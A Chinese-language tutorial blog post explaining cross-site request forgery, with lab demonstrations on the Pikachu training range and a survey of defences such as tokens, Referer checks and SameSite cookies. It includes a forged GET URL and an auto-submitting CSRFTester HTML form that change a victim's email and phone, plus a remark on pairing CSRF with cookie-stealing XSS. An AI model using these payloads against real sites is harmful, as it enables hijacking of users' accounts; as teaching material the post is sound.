一、引言
总体来说CSRF属于一种欺骗行为,是一种针对网站的恶意利用,尽管听起来像跨站脚本(XSS),但是与XSS非常不同,并且攻击方式几乎向佐。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。一般CSRF与XSS相结合更具危险性。这种攻击对受害人的影响或造成的损失是最大的,反而对受攻击网站本身威胁不大。
CSRF一般分为:HTML CSRF、JSON HiJacking 和 Flash CSRF
二、CSRF漏洞的原理
跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)
下面是攻击工程模拟的场景:
1、用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2、在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3、用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4、网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5、浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
整个过程如下图:
从这个攻击过程可以得知,攻击的先决条件是用户已经登陆了站点A,并在本地记录了cookie,并且用户没有退出站点A,且站点A的token或 Session并未过期,其次站点A并没有做任何CSRF防御。
为了便于理解,我们先列举一个场景
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
—因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
—如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
—因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
—所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
–对敏感信息的操作增加安全的token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
如果你没有读太明白,不要犹豫,请再读一遍啦。
接下来我们尝试不同类型的CSRF攻击过程:
三、CSRF漏洞的类型
节目开始之前推荐一个较好的可以进行csrf练习的地方 Pikachu漏洞平台,如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意,需要下载下来然后自己搭建一下Pikachu漏洞平台搭建步骤。
搭建好之后如上
3.1. GET型CSRF攻击
发送get请求情况,通常我们在编写代码的时候针对发送get请求的情况比较多,比如点击html的a标签,img标签,或者主动构造参数发送get请求,所有的Get请求参数均会被拼接到url上面,所以可以通过简单的构造url就可以完成攻击。接下来我们将在Pikachu漏洞平台演示CSRF的GET攻击
步骤一、打开Pikachu,选择get方式的csrf
第二步、随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili,密码均为123456, 比如登录lili, 然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包
第三步、我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com, 那么构成的CSRF攻击payload为
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=hacker@qq.com&submit=submit
这里面用户的登录唯一标识是PHPSESSID里面的那一串值
若用户点击了上述伪造的url, 则会将用户自己的邮箱修改成hacker@qq.com,即完成了一次CSRF的攻击。
同理可以将受害者用户的用户名密码进行修改,攻击者就可以登录受害者的账户啦,从这个实例大家可能看到的都是lili这个账户自己将邮箱修改为hacker@qq.com,但是如果CSRF攻击配合XSS攻击,那么首先用户通过XSS攻击获得受害者的cookie/token,就比如上题里面的PHPSESSID,然后再构造新的请求,带上登录认证的cookie信息或token信息,那不就危害加成了嘛。
3.2. POST型CSRF攻击
虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改
此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包
抓到修改个人信息的数据包后, 在CSRFTESTER删除除了POST请求的其他数据, 将类型修改成POST, 然后点击下面的Generate HTML生成HTML文件
找到生成的HTML文件并对其编辑, 将下面那行修改成, 然后其他POST参数都可自行设置, 这里我将电话号码修改成了999999999
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "30" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="hidden" name="sex" value="girl"/>
<input type="hidden" name="phonenum" value="999999999"/>
<input type="hidden" name="add" value="chain"/>
<input type="hidden" name="email" value="hacker@qq.com"/>
<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>
在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改
四、CSRF漏洞的防护方法
4.1 验证HTTP Referer字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。
因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
劣势:就是太过简单,很容易就被破解掉了。
4.2 TOKEN验证
造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击
查看token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中
<div id="per_info">
<form method="get">
<h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:{$name}</p>
<p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
<input type="hidden" name="token" value="{$_SESSION['token']}" />
<input class="sub" type="submit" name="submit" value="submit"/>
</form>
</div>
在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击
4.3. 在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。
这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。
然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。
另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。
4.4. 使用SameSite Cookie属性
CSRF攻击就是利用了cookie中携带的用户信息,想要防护Cookie不被第三方网站利用,我们可以通过设置Samesite属性。SameSite最初设计的目的就是防CSRF,SameSite有三个值Strict/Lax/None。
(1) Strict最为严格。如果SameSite的值是Strict,那么浏览器会完全禁止第三方。
Set-Cookie: SID=312556; SameSite=Strict; Secure; HttpOnly; Path=/
(2) Lax相对宽松一点。在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get方式的表单这两种方式都会携带Cookie。但如果在第三方站点中使用Post方法,或者通过img、iframe等标签加载的URL,这些场景都不会携带 Cookie。
Set-Cookie: foo=bar; SameSite=Lax; Domain=example.com; Path=/
(3) 而如果使用None的话,在任何情况下都会发送Cookie数据。
设置方法一,tomcat8及以上,/conf/context.xml 文件里面的节点里加一个子节点
<Context>
<CookieProcessor sameSiteCookies="lax" />
</Context>
方法二,在java代码中,求请求进行过滤
String cookieHeader = req.getHeader("Cookie");
if(cookieHeader != null) {
String[] cookiesHeaders = cookieHeader.split(";");
boolean firstHeader = true;
for (String header : cookiesHeaders) {
header = header.trim();
if(header != null) {
String[] headStr = header.split("=");
if(headStr[0].equals("名称")&&firstHeader) {
firstHeader = false;
resp.setHeader("Set-Cookie", String.format("%s; %s", header, "Path=/;HttpOnly=True;Secure=true;SameSite=Lax;"));
}
}
}
}
4.5. 使用双重Cookie验证(类似于token机制)
用户通过页面表单向网站提交某些请求时, 服务端会验证表单中的Token是否与用户Session(或Cookies)中的Token一致,如果一致为合法请求,否则请求非法。 这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求来实施CSRF攻击,如题主所说的子域问题,在使用Token的方案里是可以得到部分解决的
4.6. 使用验证码进行人机识别
验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。
CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求,而验证码强制用户必须与应用进行交互才能完成最终请求。但是很多时候,出于对用户体验考虑,网站不能给所有的操作都加上验证码,因此验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。
4.7. 其他防护手段
设置会话管理机制, 例如15分钟后无操作则自动退出登录
修改敏感信息需对身份证进行二次验证, 例如修改密码时需输入旧密码
修改敏感信息使用POST请求而不是使用GET请求
五、总结
以上内容就是CSRF漏洞攻击的学习以及利用方式,CSRF攻击对用户的危害很大,一方面我们不要轻易上未知网站和点击未知链接,另一方面我们需要了解其背后的原理。如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵